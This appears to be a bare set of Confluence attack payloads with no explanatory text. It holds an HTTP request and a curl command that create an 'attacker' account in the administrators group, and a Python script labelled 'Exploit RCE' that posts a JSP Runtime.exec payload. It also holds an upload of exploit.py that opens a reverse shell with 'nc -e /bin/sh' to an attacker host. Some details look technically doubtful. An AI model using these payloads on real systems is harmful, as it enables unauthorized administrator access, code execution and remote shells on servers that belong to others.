POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json

{
  "users": [
    {
      "name": "attacker",
      "password": "password",
      "email": "[email protected]",
      "groups": [
        {
          "name": "confluence-administrators"
        }
      ]
    }
  ]
}

curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk

import requests

url = "http://target-confluence-server.com/rest/api/content"
headers = {
    "Content-Type": "application/json"
}


payload = {
    "title": "Exploit RCE",
    "type": "page",
    "space": {
        "key": "POC"
    },
    "body": {
        "storage": {
            "value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
            "representation": "storage"
        }
    }
}


response = requests.post(url, json=payload, headers=headers)


if response.status_code == 200:
    print("Exploit sent successfully!")
    print("Response: ", response.text)
else:
    print("Failed to send exploit.")
    print("Status code: ", response.status_code)
    print("Response: ", response.text)

POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python

import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--